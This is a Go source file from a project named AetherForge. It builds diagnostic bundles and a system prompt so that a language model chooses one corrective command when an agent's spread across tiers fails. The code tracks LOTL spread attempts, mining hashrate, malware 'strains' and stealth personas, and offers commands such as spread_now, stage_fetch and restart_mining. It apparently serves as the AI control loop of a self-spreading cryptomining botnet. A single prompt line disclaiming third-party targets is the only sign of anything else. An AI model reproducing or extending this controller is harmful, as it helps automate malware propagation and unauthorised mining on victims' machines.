AetherForge/server/internal/ai/surgical_replay.go

package ai

import (
	"encoding/json"
	"fmt"
	"strings"
)

// SurgicalTraceContext is minimal Path Tracer context for a failed branch replay.
type SurgicalTraceContext struct {
	SessionID     string   `json:"session_id"`
	HopIndex      int      `json:"hop_index"`
	HopCount      int      `json:"hop_count"`
	EgressAgentID string   `json:"egress_agent_id,omitempty"`
	SessionError  string   `json:"session_error,omitempty"`
	DiscoverError string   `json:"discover_error,omitempty"`
	TargetSubnets []string `json:"target_subnets,omitempty"`
}

// SurgicalDiagnosticBundle is the compact payload fed to the surgical replay LLM.
type SurgicalDiagnosticBundle struct {
	AgentID        string                 `json:"agent_id"`
	AgentName      string                 `json:"agent_name"`
	Strain         string                 `json:"strain,omitempty"`
	FailedTier     string                 `json:"failed_tier"`
	FailedError    string                 `json:"failed_error,omitempty"`
	SpreadFailures int                    `json:"spread_failures"`
	MiningHashrate float64                `json:"mining_hashrate"`
	JoinLane       string                 `json:"join_lane,omitempty"`
	Persona        string                 `json:"persona,omitempty"`
	ErasureOn      bool                   `json:"erasure_on"`
	Trace          SurgicalTraceContext   `json:"trace"`
	FailedAttempts []TierAttempt          `json:"failed_attempts"`
	AtlasSummary   string                 `json:"atlas_summary,omitempty"`
	Options        map[string]interface{} `json:"fix_options,omitempty"`
}

// SurgicalTraceProvider resolves persisted Path Tracer context for an agent.
type SurgicalTraceProvider interface {
	TraceForAgent(agentID string) (SurgicalTraceContext, bool)
}

// StrainMemoryStore persists surgical replay outcomes.
type StrainMemoryStore interface {
	InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
}

// SeerEmitter records Seer feed events for dashboard streaming.
type SeerEmitter interface {
	EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error
}

// SurgicalDeps wires optional surgical replay collaborators into the scheduler.
type SurgicalDeps struct {
	Trace         SurgicalTraceProvider
	Strain        StrainMemoryStore
	Seer          SeerEmitter
	StrainLookup  func(agentID string) string
	ErasureActive func() bool
}

// ShouldUseSurgicalReplay is true when a pathtrace branch failed partially along spread tiers.
func ShouldUseSurgicalReplay(trace SurgicalTraceContext, snap AgentSnapshot) bool {
	if trace.SessionID == "" {
		return false
	}
	if snap.MiningHashrate > 0 {
		return false
	}
	if AllSpreadTiersFailed(snap) || snap.Stuck {
		return false
	}
	failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
	return failedTier != ""
}

// BuildSurgicalDiagnosticBundle composes a minimal replay bundle from trace + snapshot.
func BuildSurgicalDiagnosticBundle(
	snap AgentSnapshot,
	trace SurgicalTraceContext,
	atlasSummary, persona string,
	erasureOn bool,
) SurgicalDiagnosticBundle {
	failedTier, failedErr := firstFailedSpreadTier(snap.LOTLAttempts)
	failed, _ := countSpreadFailures(snap)
	bundle := SurgicalDiagnosticBundle{
		AgentID:        snap.AgentID,
		AgentName:      snap.Name,
		FailedTier:     failedTier,
		FailedError:    failedErr,
		SpreadFailures: failed,
		MiningHashrate: snap.MiningHashrate,
		JoinLane:       snap.JoinLane,
		Persona:        persona,
		ErasureOn:      erasureOn,
		Trace:          trace,
		AtlasSummary:   strings.TrimSpace(atlasSummary),
		FailedAttempts: failedSpreadAttempts(snap.LOTLAttempts),
		Options: map[string]interface{}{
			"persona_tweak": []string{"aggressive", "silent", "passive", "persuasive", "balanced"},
			"tier_skip":     true,
			"erasure_on":    !erasureOn,
			"spread_graft":  true,
			"retry_lane":    true,
		},
	}
	return bundle
}

// BuildSurgicalReplayPrompt renders the single-command surgical replay LLM prompt.
func BuildSurgicalReplayPrompt(bundle SurgicalDiagnosticBundle) (systemPrompt, userPrompt string) {
	systemPrompt = strings.TrimSpace(`You are the AetherForge surgical replay controller for the operator's own fleet.
Examine the failed spread/onion branch from the persisted Path Tracer trace and LOTL attempts.
Propose ONE minimal surgical fix — not a full court tribunal.
Valid command types (pick exactly one): persona_tweak, skip_tier, enable_erasure, spread_graft, spread_retry_lane, reorder_tiers, discover_and_join, stage_fetch, spread_now, restart_mining, noop.
persona_tweak args: persona (aggressive|silent|passive|persuasive|balanced).
skip_tier args: tier (string) or skip_tiers (array).
enable_erasure args: {} — turns on Reed–Solomon multi-lane staging for this fleet pass.
spread_graft args: source_agent_id (string), tier (string) — splice winning strain tier order onto this agent.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes.
Return JSON with exactly one command in commands[]. Never target third-party systems.`)

	var user strings.Builder
	fmt.Fprintf(&user, "Surgical replay for agent %q (%s)\n", bundle.AgentName, bundle.AgentID)
	fmt.Fprintf(&user, "Failed spread tier: %s", bundle.FailedTier)
	if bundle.FailedError != "" {
		fmt.Fprintf(&user, " (%s)", bundle.FailedError)
	}
	user.WriteString("\n")
	fmt.Fprintf(&user, "Path trace session %s hop %d/%d\n", bundle.Trace.SessionID[:min(8, len(bundle.Trace.SessionID))], bundle.Trace.HopIndex+1, bundle.Trace.HopCount)
	if bundle.Trace.SessionError != "" {
		fmt.Fprintf(&user, "Session error: %s\n", bundle.Trace.SessionError)
	}
	if bundle.Trace.DiscoverError != "" {
		fmt.Fprintf(&user, "Discover error: %s\n", bundle.Trace.DiscoverError)
	}
	if bundle.AtlasSummary != "" {
		fmt.Fprintf(&user, "Failure atlas: %s\n", bundle.AtlasSummary)
	}
	fmt.Fprintf(&user, "Persona=%s erasure_lanes=%v join_lane=%s hashrate=%.2f\n",
		emptyDash(bundle.Persona), bundle.ErasureOn, emptyDash(bundle.JoinLane), bundle.MiningHashrate)
	user.WriteString("Failed spread attempts:\n")
	for _, a := range bundle.FailedAttempts {
		if a.Error != "" {
			fmt.Fprintf(&user, "  - %s: %s\n", a.Tier, a.Error)
		} else {
			fmt.Fprintf(&user, "  - %s: fail\n", a.Tier)
		}
	}
	if raw, err := json.Marshal(bundle.Trace); err == nil {
		fmt.Fprintf(&user, "Trace JSON: %s\n", string(raw))
	}
	user.WriteString("\nReply with one-line rationale, then JSON with exactly ONE command:\n")
	user.WriteString(`{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}` + "\n")
	return systemPrompt, user.String()
}

// SelectSurgicalCommand returns the first actionable command (at most one dispatch).
func SelectSurgicalCommand(cmds []Command) (Command, bool) {
	for _, c := range cmds {
		if c.Type == CmdNoop {
			continue
		}
		return c, true
	}
	return Command{}, false
}

func firstFailedSpreadTier(attempts []TierAttempt) (tier, errMsg string) {
	attemptByTier := map[string]TierAttempt{}
	for _, a := range attempts {
		attemptByTier[a.Tier] = a
	}
	for _, t := range defaultSpreadTiers {
		if a, ok := attemptByTier[t]; ok && !a.OK {
			return t, a.Error
		}
	}
	return "", ""
}

func failedSpreadAttempts(attempts []TierAttempt) []TierAttempt {
	attemptByTier := map[string]TierAttempt{}
	for _, a := range attempts {
		attemptByTier[a.Tier] = a
	}
	var out []TierAttempt
	for _, t := range defaultSpreadTiers {
		if a, ok := attemptByTier[t]; ok && !a.OK {
			out = append(out, a)
		}
	}
	return out
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}